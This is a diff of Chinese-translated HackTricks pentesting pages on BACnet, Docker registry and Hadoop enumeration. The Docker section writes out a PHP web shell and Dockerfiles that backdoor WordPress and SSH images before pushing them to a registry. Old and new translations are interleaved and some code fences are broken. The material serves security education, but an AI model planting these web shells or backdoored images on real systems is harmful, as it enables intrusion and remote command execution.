* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -1,26 +1,9 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- 你在一个**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
</details>
# 协议信息
**BACnet**是一种用于建筑自动化和控制BAC网络的[通信协议](https://en.wikipedia.org/wiki/Communications_protocol),利用了[ASHRAE](https://en.wikipedia.org/wiki/ASHRAE)、[ANSI](https://en.wikipedia.org/wiki/ANSI)和[ISO](https://en.wikipedia.org/wiki/International_Organization_for_Standardization) 16484-5标准[\[1\]](https://en.wikipedia.org/wiki/BACnet#cite_note-1)协议。
**BACnet** 是一个用于建筑自动化和控制BAC网络的[通信协议](https://en.wikipedia.org/wiki/Communications_protocol),它利用了 [ASHRAE](https://en.wikipedia.org/wiki/ASHRAE)、[ANSI](https://en.wikipedia.org/wiki/ANSI) 和 [ISO](https://en.wikipedia.org/wiki/International_Organization_for_Standardization) 16484-5 标准[\[1\]](https://en.wikipedia.org/wiki/BACnet#cite_note-1) 协议。
BACnet旨在允许建筑自动化和控制系统进行通信,用于应用程序,如供暖、通风和空调控制([HVAC](https://en.wikipedia.org/wiki/HVAC)、照明控制、门禁控制和火灾检测系统及其相关设备。BACnet协议提供了计算机化建筑自动化设备交换信息的机制无论它们执行的特定建筑服务是什么
来自[Wikipedia](https://en.wikipedia.org/wiki/BACnet)
BACnet 被设计用于允许[建筑自动化](https://en.wikipedia.org/wiki/Building_automation)和控制系统的通信,适用于如供暖、通风和空调控制([HVAC](https://en.wikipedia.org/wiki/HVAC)、照明控制、出入控制以及火灾检测系统及其相关设备的应用。BACnet 协议提供了机制,用于计算机化的建筑自动化设备交换信息,无论它们执行的是哪种特定的建筑服务。
来自 [Wikipedia](https://en.wikipedia.org/wiki/BACnet)
**默认端口:** 47808
```text
@ -29,37 +12,7 @@ PORT STATE SERVICE
```
# 枚举
## 手动枚举
UDP BACnet is a protocol used for building automation and control networks. It is commonly used in industrial and commercial buildings to control and monitor various devices such as HVAC systems, lighting, and security systems.
UDP BACnet是一种用于建筑自动化和控制网络的协议。它通常用于工业和商业建筑中用于控制和监控各种设备如暖通空调系统、照明和安全系统。
To enumerate UDP BACnet services, you can use tools like `nmap` or `bacnet-tool`. These tools can help you discover BACnet devices on the network and gather information about them.
要枚举UDP BACnet服务您可以使用`nmap`或`bacnet-tool`等工具。这些工具可以帮助您发现网络上的BACnet设备并收集有关它们的信息。
Here are some steps you can follow to manually enumerate UDP BACnet services:
以下是您可以按照的一些步骤手动枚举UDP BACnet服务
1. **Discover BACnet devices**: Use tools like `nmap` with the BACnet script or `bacnet-tool` to discover BACnet devices on the network. These tools can send BACnet discovery requests and receive responses from devices.
**发现BACnet设备**使用带有BACnet脚本的工具如`nmap`或`bacnet-tool`以发现网络上的BACnet设备。这些工具可以发送BACnet发现请求并接收设备的响应。
2. **Gather device information**: Once you have discovered BACnet devices, you can gather information about them using tools like `bacnet-tool`. This information may include device names, device types, object types, and object properties.
**收集设备信息**一旦您发现了BACnet设备您可以使用`bacnet-tool`等工具收集有关它们的信息。这些信息可能包括设备名称、设备类型、对象类型和对象属性。
3. **Enumerate objects and properties**: With the gathered information, you can enumerate the objects and properties of the BACnet devices. This can help you understand the functionality and capabilities of the devices.
**枚举对象和属性**利用收集到的信息您可以枚举BACnet设备的对象和属性。这可以帮助您了解设备的功能和能力。
4. **Exploit vulnerabilities**: If you find any vulnerabilities in the BACnet devices, you can exploit them to gain unauthorized access or control over the devices. However, it is important to note that exploiting vulnerabilities without proper authorization is illegal.
**利用漏洞**如果您发现BACnet设备中存在漏洞您可以利用这些漏洞来获取未经授权的访问或对设备的控制。然而重要的是要注意未经适当授权的利用漏洞是非法的。
By following these steps, you can effectively enumerate UDP BACnet services and gather information about the devices on the network. This information can be useful for further analysis and potential exploitation.
## 手动
```bash
pip3 install BAC0
import BAC0
@ -70,55 +23,12 @@ bacnet.vendorName.strValue
#I couldn't find how to obtain the same data as nmap with this library or any other
#talk me if you know how please
```
## 自动化
In the context of UDP BACnet, automatic refers to the process of automatically scanning and identifying BACnet devices on a network. This can be done using tools like BACnet discovery tools or network scanning tools.
在UDP BACnet的上下文中自动化指的是自动扫描和识别网络上的BACnet设备的过程。可以使用BACnet发现工具或网络扫描工具来完成此操作。
## Scanning
扫描
Scanning is the process of actively probing a network to identify open ports, services, and devices. In the case of UDP BACnet, scanning involves sending BACnet discovery packets to the network and analyzing the responses to identify BACnet devices.
扫描是主动探测网络以识别开放端口、服务和设备的过程。在UDP BACnet的情况下扫描涉及向网络发送BACnet发现数据包并分析响应以识别BACnet设备。
## Discovery
发现
Discovery refers to the process of identifying and gathering information about BACnet devices on a network. This can include information such as device type, IP address, MAC address, and supported services.
发现是指识别和收集网络上的BACnet设备信息的过程。这可以包括设备类型、IP地址、MAC地址和支持的服务等信息。
## Enumeration
枚举
Enumeration is the process of systematically listing and identifying the resources and services available on a network. In the context of UDP BACnet, enumeration involves querying BACnet devices for information such as object types, properties, and values.
枚举是系统地列出和识别网络上可用资源和服务的过程。在UDP BACnet的上下文中枚举涉及查询BACnet设备以获取对象类型、属性和值等信息。
## Exploitation
利用
Exploitation refers to the process of taking advantage of vulnerabilities or weaknesses in a system or network to gain unauthorized access or control. In the case of UDP BACnet, exploitation may involve exploiting vulnerabilities in BACnet devices to gain unauthorized access or manipulate the devices.
利用是指利用系统或网络中的漏洞或弱点来获取未经授权的访问或控制的过程。在UDP BACnet的情况下利用可能涉及利用BACnet设备中的漏洞来获取未经授权的访问或操纵设备。
## Mitigation
缓解
Mitigation refers to the process of reducing or minimizing the impact of vulnerabilities or risks. In the context of UDP BACnet, mitigation measures may include patching or updating BACnet devices, implementing network segmentation, and enforcing strong access controls.
缓解是指减少或最小化漏洞或风险影响的过程。在UDP BACnet的上下文中缓解措施可能包括修补或更新BACnet设备、实施网络分割和执行强制访问控制。
## 自动
```bash
nmap --script bacnet-info --script-args full=yes -sU -n -sV -p 47808 <IP>
```
这个脚本不会尝试作为外部设备加入BACnet网络它只是直接向可寻址的IP设备发送BACnet请求。
```markdown
此脚本不尝试作为外来设备加入BACnet网络它只是直接向可通过IP地址访问的设备发送BACnet请求。
## Shodan
@ -129,16 +39,15 @@ nmap --script bacnet-info --script-args full=yes -sU -n -sV -p 47808 <IP>
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零开始学习AWS黑客技术成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者你想要**获取最新版本的PEASS或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您希望在HackTricks中看到您的**公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
```

View file

@ -1,41 +1,36 @@
# 5000 - Docker注册表渗透测试
# 5000 - Docker 注册表渗透测试
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零开始学习 AWS 黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持 HackTricks 的其他方式:
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧。**
* 如果您希望在 **HackTricks 中看到您的公司广告****下载 HackTricks 的 PDF 版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取 [**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
</details>
## 基本信息
**来自**[**这里**](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/#:\~:text=A%20Docker%20registry%20is%20a,versions%20of%20a%20specific%20image.)**。**
**信息来自** [**这里**](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/#:\~:text=A%20Docker%20registry%20is%20a,versions%20of%20a%20specific%20image.)**。**
**Docker注册表**是一个用于存储和分发命名的Docker镜像的系统。同一个镜像可能有多个不同的版本通过它们的标签进行标识。\
Docker注册表组织成**Docker仓库**,一个仓库包含了特定镜像的所有版本。注册表允许Docker用户从本地拉取镜像以及在适当的访问权限下将新镜像推送到注册表中
**Docker 注册表** 是一个用于存储和分发命名 Docker 镜像的系统。同一个镜像可能有多个不同的版本,通过它们的标签来识别。\
Docker 注册表组织成 **Docker 仓库**,一个仓库包含了特定镜像的所有版本。注册表允许 Docker 用户本地拉取镜像,以及向注册表推送新镜像(在适用的情况下需要足够的访问权限)
默认情况下Docker引擎与**DockerHub**交互DockerHub是Docker的公共注册表实例。然而也可以在本地运行开源的Docker注册表/分发系统,以及一个商业支持的版本称为**Docker Trusted Registry**。还有其他在线公共注册表可用。
默认情况下Docker 引擎与 **DockerHub**Docker 的公共注册表实例进行交互。然而,也可以在本地运行开源的 Docker 注册表/分发,以及一个称为 **Docker Trusted Registry** 的商业支持版本。还有其他公共注册表可在线使用。
要从本地注册表拉取镜像,可以运行类似以下命令:
要从本地注册表拉取镜像,可以运行类似以下命令:
```
docker pull my-registry:9000/foo/bar:2.1
```
如果您从位于`my-registry`域,端口`9000`的本地注册表中拉取带有标签`2.1`的`foo/bar`镜像的版本,您可以运行以下命令在本地拉取相同的镜像:
```bash
docker pull my-registry:9000/foo/bar:2.1
```markdown
当您从位于 `my-registry` 域名,端口 `9000` 的本地注册表中拉取带有 `2.1` 标签的 `foo/bar` 镜像版本时。\
如果您使用的是DockerHub并且2.1也是最新版本,您可以运行以下命令来本地拉取相同的镜像:
```
如果您使用DockerHub并且`2.1`也是最新版本,您可以运行以下命令在本地拉取相同的镜像:
```
docker pull foo/bar
```
@ -46,20 +41,20 @@ PORT STATE SERVICE VERSION
```
## 发现
发现该服务运行的最简单方法是在nmap的输出中找到它。无论如何请注意由于它是一个基于HTTP的服务它可能在HTTP代理后面nmap无法检测到它。
发现此服务运行的最简单方法是在nmap的输出中获取它。无论如何请注意由于它是基于HTTP的服务它可能位于HTTP代理之后nmap可能无法检测到它。
一些指纹:
* 如果访问`/`,响应中没有返回任何内容
* 如果访问`/v2/`,则返回`{}`
* 如果访问`/v2/_catalog`,您可能会得到:
* `{"repositories":["alpine","ubuntu"]}`
* `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
* 如果访问`/`,响应中没有返回任何内容
* 如果访问`/v2/`,则返回`{}`
* 如果你访问`/v2/_catalog`,你可能会得到:
* `{"repositories":["alpine","ubuntu"]}`
* `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
## 枚举
### HTTP/HTTPS
Docker注册表可以配置为使用**HTTP**或**HTTPS**。所以你可能需要做的第一件事是**找出正在配置的是哪一个**
Docker registry 可以配置为使用 **HTTP****HTTPS**。因此,你首先需要做的是**找出**哪一个被配置了
```bash
curl -s http://10.10.10.10:5000/v2/_catalog
#If HTTPS
@ -70,9 +65,9 @@ Warning: <FILE>" to save to a file.
#If HTTP
{"repositories":["alpine","ubuntu"]}
```
### 身份验
###
Docker注册表也可以配置为需要**身份验证**
Docker registry 也可以配置为需要**认证**
```bash
curl -k https://192.25.197.3:5000/v2/_catalog
#If Authentication required
@ -80,14 +75,14 @@ curl -k https://192.25.197.3:5000/v2/_catalog
#If no authentication required
{"repositories":["alpine","ubuntu"]}
```
如果Docker Registry需要身份验证,您可以[**尝试使用此方法进行暴力破解**](../generic-methodologies-and-resources/brute-force.md#docker-registry)。\
**如果找到有效的凭据,您需要使用它们**来枚举注册表,在`curl`中可以像这样使用它们:
如果Docker Registry需要认证,你可以[**尝试使用这个方法进行暴力破解**](../generic-methodologies-and-resources/brute-force.md#docker-registry)。\
**如果你找到了有效的凭证,你需要使用它们**来枚举registry在`curl`中你可以这样使用它们:
```bash
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
```
### 使用DockerRegistryGrabber进行枚举
### 使用 DockerRegistryGrabber 进行枚举
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber)是一个用于枚举/转储Docker注册表无身份验证或基本身份验证的Python工具。
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) 是一个 python 工具,用于枚举 / 转储 docker 注册表(无需或使用基本认证)
```bash
python3 DockerGraber.py http://127.0.0.1 --list
@ -124,9 +119,9 @@ python3 DockerGraber.py http://127.0.0.1 --dump my-ubuntu
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
```
### 使用curl进行枚举
### 使用 curl 进行枚举
一旦您**获得了对Docker注册表的访问权限**,以下是您可以使用的一些命令来进行枚举
一旦您**获得了对docker registry的访问权限**,以下是一些可以用来枚举它的命令
```bash
#List repositories
curl -s http://10.10.10.10:5000/v2/_catalog
@ -185,13 +180,15 @@ curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
#Download one of the previously listed blobs
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar
#检查每个blob的内部
tar -xf blob1.tar #执行此命令后,检查当前目录中创建的新文件夹和文件
#Inspect the insides of each blob
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
```
{% hint style="warning" %}
请注意当您下载并解压缩blob文件和文件夹时它们将出现在当前目录中。**如果您将所有blob文件下载并解压缩到同一个文件夹中它们将覆盖先前解压缩的blob文件的值**所以请小心。最好将每个blob文件解压缩到不同的文件夹中以检查每个blob文件的确切内容。
注意,当您下载并解压缩 blobs 文件时,文件和文件夹会出现在当前目录中。**如果您在同一文件夹中下载并解压所有 blobs它们会覆盖之前解压的 blobs 的值**,所以要小心。将每个 blob 解压到不同的文件夹中以检查每个 blob 的确切内容可能会很有趣
{% endhint %}
### 使用docker进行枚举
### 使用 docker 进行枚举
```bash
#Once you know which images the server is saving (/v2/_catalog) you can pull them
docker pull 10.10.10.10:5000/ubuntu
@ -210,36 +207,38 @@ docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
docker ps #Using a different shell
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
```
### 在WordPress镜像中植入后门
### 后门WordPress镜像
你发现一个保存WordPress镜像的Docker Registry的情况下你可以植入后门。\
**创建**后门:
您发现Docker Registry保存了一个wordpress镜像的情况下您可以对其进行后门处理。\
**创建** **后门**
{% code title="shell.php" %}
```bash
<?php echo shell_exec($_GET["cmd"]); ?>
```
```markdown
{% endcode %}
创建一个 **Dockerfile**
{% code title="Dockerfile" %}
```
```bash
FROM 10.10.10.10:5000/wordpress
COPY shell.php /app/
RUN chmod 777 /app/shell.php
```
{% endcode %}
**创建**新的镜像,**检查**它是否已创建,并**推送**它:
**创建**新镜像,**检查**是否已创建,并**推送**它:
```bash
docker build -t 10.10.10.10:5000/wordpress .
#Create
docker images
docker push registry:5000/wordpress #Push it
```
### 在SSH服务器镜像中植入后门
### 后门SSH服务器镜像
假设你发现了一个带有SSH镜像的Docker Registry并且你想要在其中植入后门。\
**下载**镜像并**运行**它:
假设你发现了一个带有SSH镜像的Docker Registry你想要对其进行后门处理。\
**下载**镜像并**运行**它:
```bash
docker pull 10.10.10.10:5000/sshd-docker-cli
docker run -d 10.10.10.10:5000/sshd-docker-cli
@ -248,9 +247,9 @@ docker run -d 10.10.10.10:5000/sshd-docker-cli
```bash
docker cp 4c989242c714:/etc/ssh/sshd_config .
```
并修改`PermitRootLogin yes`
并修改它以设置`PermitRootLogin yes`
创建一个名为**Dockerfile**的文件,内容如下
创建一个如下的**Dockerfile**
{% tabs %}
{% tab title="Dockerfile" %}
@ -262,7 +261,7 @@ RUN echo root:password | chpasswd
{% endtab %}
{% endtabs %}
**创建**新镜像,**检查**是否已创建,并**推送**它:
**创建**新镜像,**检查**是否已创建,并**推送**它:
```bash
docker build -t 10.10.10.10:5000/sshd-docker-cli .
#Create
@ -271,16 +270,14 @@ docker push registry:5000/sshd-docker-cli #Push it
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零开始学习AWS黑客攻击直至成为专家通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库**提交PR来分享您的黑客技巧**。
</details>

View file

@ -1,55 +1,51 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零开始学习AWS黑客技术成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
</details>
**从书中获取的信息** [**网络安全评估第三版**](https://www.amazon.com/Network-Security-Assessment-Know-Your-ebook/dp/B01N6E0BG2)
**信息取自书籍** [**网络安全评估 第三版**](https://www.amazon.com/Network-Security-Assessment-Know-Your-ebook/dp/B01N6E0BG2)
# **基本信息**
Apache Hadoop是一个开源框架支持使用计算机集群进行大型数据集的分布式存储和处理。存储由Hadoop分布式文件系统HDFS处理处理通过使用MapReduce和其他应用程序例如Apache Storm、Flink和Spark通过YARN行。
Apache Hadoop是一个开源框架支持使用计算机集群分布式存储和处理大型数据集。存储由Hadoop分布式文件系统HDFS处理处理通过使用MapReduce和其他应用程序例如Apache Storm、Flink和Spark通过YARN行。
![](<../.gitbook/assets/image (139).png>)
图15-1. Hadoop 2.0架构
您可以使用下表中列出的Nmap脚本(包括默认端口的详细信息)查询MapReduce和HDFS服务。在撰写本文时Metasploit不支持Hadoop。
您可以使用下表中列出的Nmap脚本查询MapReduce和HDFS服务(包括默认端口的详细信息)。在撰写本文时Metasploit不支持Hadoop。
| **脚本名称** | **端口** | **目的** |
| **脚本名称** | **端口** | **目的** |
| ------------------------------ | -------- | ----------------------------------------------------------------- |
| hadoop-jobtracker-info | 50030 | 从MapReduce作业和任务跟踪服务检索信息 |
| hadoop-jobtracker-info | 50030 | 从MapReduce作业和任务跟踪服务检索信息 |
| hadoop-tasktracker-info | 50060 | |
| hadoop-namenode-info | 50070 | 从HDFS名称节点检索信息 |
| hadoop-datanode-info | 50075 | 从HDFS数据节点检索信息 |
| hadoop-secondary-namenode-info | 50090 | 从HDFS辅助名称节点检索信息 |
| hadoop-namenode-info | 50070 | 从HDFS名称节点检索信息 |
| hadoop-datanode-info | 50075 | 从HDFS数据节点检索信息 |
| hadoop-secondary-namenode-info | 50090 | 从HDFS次级名称节点检索信息 |
轻量级的Python和Go HDFS客户端可在网上找到。Hadoop默认情况下不需要身份验证。您可以配置HDFS、YARN和MapReduce服务使用Kerberos。
在线提供轻量级Python和Go HDFS客户端。Hadoop默认情况下无需认证即可运行。您可以配置HDFS、YARN和MapReduce服务以使用Kerberos。
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零开始学习AWS黑客技术成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
